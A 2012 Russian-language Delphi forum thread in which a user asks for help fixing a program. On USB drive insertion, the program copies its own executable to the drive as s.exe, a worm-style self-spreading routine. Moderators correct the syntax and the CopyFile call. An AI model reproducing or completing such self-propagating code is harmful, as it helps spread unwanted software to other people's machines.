помогите исправит код

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]

Страница 1 из 1

Модератор форума: xXxSh@dowxXx, Anton93, Волк-1024

delfcode » Delphi » Вопросы по Delphi » помогите исправит код

помогите исправит код

jaygen

Дата: Суббота, 21.01.2012, 01:22 | Сообщение # 1

Был не раз

Зарегистрирован: 19.01.2012

Группа: Пользователи

Сообщений: 11

Статус: Offline

Code

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Label1: TLabel;
lbl1: TLabel;
btn1: TButton;
procedure btn1Click(Sender: TObject);
private
procedure WMDeviceChange(var Msg: TMessage); message WM_DeviceChange;
{ Private declarations }
public
{ Public declarations }
end;

const
DBT_DeviceArrival = $8000;
DBT_DeviceRemoveComplete = $8004;
DBTF_Media = $0001;
DBT_DevTyp_Volume = $0002;

type
PDevBroadcastHdr = ^TDevBroadcastHdr;
TDevBroadcastHdr = packed record
dbcd_size: DWORD;
dbcd_devicetype: DWORD;
dbcd_reserved: DWORD;
end;

type
PDevBroadcastVolume = ^TDevBroadcastVolume;
TDevBroadcastVolume = packed record
dbcv_size: DWORD;
dbcv_devicetype: DWORD;
dbcv_reserved: DWORD;
dbcv_unitmask: DWORD;
dbcv_flags: Word;
end;

var
Form1: TForm1;
s:string;
implementation

{$R *.dfm}
Procedure GetName(Var Lat:string);
var
Drive: Char; //Áóêâà äèñêà
s:string;
const
pref = ':\';
begin
s:='';
for Drive := 'B' to 'Z' do
if GetDriveType(PChar(Drive + pref)) = DRIVE_REMOVABLE then
s:= Drive+ pref;
Lat:=s;
ShowMessage(s+' ÎÎÎ,êàêàÿ ó òåáÿ ôëåõà!!! ');
end;
function GetCurrentDir(): String;
var
len: Integer;
buffer: String;
begin
SetLength(buffer, MAX_PATH + 1);
len := GetCurrentDirectory(MAX_PATH, PAnsiChar(buffer));
GetCurrentDir := Copy(buffer, 1, len);
end;

function GetDrive(pDBVol: PDevBroadcastVolume): string;
var
i: Byte;
Maske: DWORD;
begin
if (pDBVol^.dbcv_flags and DBTF_Media) = DBTF_Media then
begin
Maske := pDBVol^.dbcv_unitmask;
for i := 0 to 25 do
begin
if (Maske and 1) = 1 then
Result := Char(i + Ord('A')) + ':';
Maske := Maske shr 1;
end;
end;
end;

procedure TForm1.WMDeviceChange(var Msg: TMessage);
var
Lat:string;
Drive1: Char;
Drive,st: string;
const
er =':\s.exe';
pref = ':\';
begin
case Msg.wParam of
DBT_DeviceArrival:
if PDevBroadcastHdr(Msg.lParam)^.dbcd_devicetype = DBT_DevTyp_Volume then
begin
s:='';
for Drive1 := 'B' to 'Z' do
if GetDriveType(PChar(Drive1 + pref)) = DRIVE_REMOVABLE then
s:= Drive1+ pref;
Lat:=s+er;
Drive := GetDrive(PDevBroadcastVolume(Msg.lParam));
label1.Caption := 'CD inserted in Drive ' + Drive;
GetName(st);
sleep(2000);
copyFile(pchar(paramStr(0)),Lat),false);
ShowMessage('âñå ñêîïèðîâàëîñü');
end;
DBT_DeviceRemoveComplete:
if PDevBroadcastHdr(Msg.lParam)^.dbcd_devicetype = DBT_DevTyp_Volume then
begin
Drive := GetDrive(PDevBroadcastVolume(Msg.lParam));
ShowMessage('âñå áóäåò õîðîøî');
end;
end;
end;

Сообщение отредактировал dolphin - Суббота, 21.01.2012, 12:38

Волк-1024

Дата: Суббота, 21.01.2012, 12:03 | Сообщение # 2

Авторитетный

Зарегистрирован: 24.07.2011

Группа: Модераторы

Сообщений: 467

Статус: Offline

Оформляй код тегами. [*code*]

Исправить что именно?

Исправлены синтаксические ошибки, сделаны отступы. Работу способность не проверял.

Code

unit Unit1;

   interface

   uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

   type
   TForm1 = class(TForm)
      Label1: TLabel;
   private
   procedure WMDeviceChange(var Msg: TMessage); message WM_DeviceChange;
   { Private declarations }
   public
   { Public declarations }
   end;

   const
        DBT_DeviceArrival = $8000;
        DBT_DeviceRemoveComplete = $8004;
        DBTF_Media = $0001;
        DBT_DevTyp_Volume = $0002;

   type
       PDevBroadcastHdr = ^TDevBroadcastHdr;
       TDevBroadcastHdr = packed record
       dbcd_size: DWORD;
       dbcd_devicetype: DWORD;
       dbcd_reserved: DWORD;
   end;

   type
       PDevBroadcastVolume = ^TDevBroadcastVolume;
       TDevBroadcastVolume = packed record
       dbcv_size: DWORD;
       dbcv_devicetype: DWORD;
       dbcv_reserved: DWORD;
       dbcv_unitmask: DWORD;
       dbcv_flags: Word;
   end;

   var
      Form1: TForm1;
      s:string;

   implementation

   {$R *.dfm}
   Procedure GetName(Var Lat:string);
   var
      Drive: Char;
      s:string;
   const
       pref = ':\';
       begin
         s:='';
         for Drive := 'B' to 'Z' do
            if GetDriveType(PChar(Drive + pref)) = DRIVE_REMOVABLE then
            s:= Drive+ pref;
            Lat:=s;
            ShowMessage(s+' III,eaeay o oaay oeaoa!!! ');
   end;

   function GetCurrentDir(): String;
   var
      len: Integer;
      buffer: String;
   begin
      SetLength(buffer, MAX_PATH + 1);
      len := GetCurrentDirectory(MAX_PATH, PAnsiChar(buffer));
      GetCurrentDir := Copy(buffer, 1, len);
   end;

   function GetDrive(pDBVol: PDevBroadcastVolume): string;
   var
      i: Byte;
      Maske: DWORD;
begin
      if (pDBVol^.dbcv_flags and DBTF_Media) = DBTF_Media then
      begin
         Maske := pDBVol^.dbcv_unitmask;
         for i := 0 to 25 do
         begin
           if (Maske and 1) = 1 then
             Result := Char(i + Ord('A')) + ':';
             Maske := Maske shr 1;
end;
end;
end;

   procedure TForm1.WMDeviceChange(var Msg: TMessage);
   var
      Lat:string;
      Drive1: Char;
      Drive, st: string;
const
      er =':\s.exe';
      pref = ':\';
begin
      case Msg.wParam of
        DBT_DeviceArrival:
      if PDevBroadcastHdr(Msg.lParam)^.dbcd_devicetype = DBT_DevTyp_Volume then
      begin
        s:='';
        for Drive1 := 'B' to 'Z' do
           if GetDriveType(PChar(Drive1 + pref)) = DRIVE_REMOVABLE then
             s:= Drive1+ pref;
             Lat:=s+er;
             Drive := GetDrive(PDevBroadcastVolume(Msg.lParam));
             label1.Caption := 'CD inserted in Drive ' + Drive;
             GetName(st);
             sleep(2000);
             CopyFile(PChar(ParamStr(0)), PChar(Lat), false);
             ShowMessage('ana neiie?iaaeinu');
   end;
             DBT_DeviceRemoveComplete:
             if PDevBroadcastHdr(Msg.lParam)^.dbcd_devicetype = DBT_DevTyp_Volume then
             begin
                Drive := GetDrive(PDevBroadcastVolume(Msg.lParam));
                ShowMessage('ana aoaao oi?ioi');
   end;
   end;
   end;
   end.

Pascal, C\C++, Assembler, Python

Сообщение отредактировал Волк-1024 - Суббота, 21.01.2012, 12:06

jaygen

Дата: Суббота, 21.01.2012, 12:48 | Сообщение # 3

Был не раз

Зарегистрирован: 19.01.2012

Группа: Пользователи

Сообщений: 11

Статус: Offline

Code

copyFile(pchar(paramStr(0)),Lat),false);

ошибку вот сдесь

dolphin

Дата: Суббота, 21.01.2012, 13:50 | Сообщение # 4

Администратор

Сообщений: 902

Статус: Offline

Code

pchar(Lat)

Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик

Волк-1024

Дата: Суббота, 21.01.2012, 13:54 | Сообщение # 5

Авторитетный

Зарегистрирован: 24.07.2011

Группа: Модераторы

Сообщений: 467

Статус: Offline

jaygen. Под спойлером смотри код...

Pascal, C\C++, Assembler, Python

delfcode » Delphi » Вопросы по Delphi » помогите исправит код

Страница 1 из 1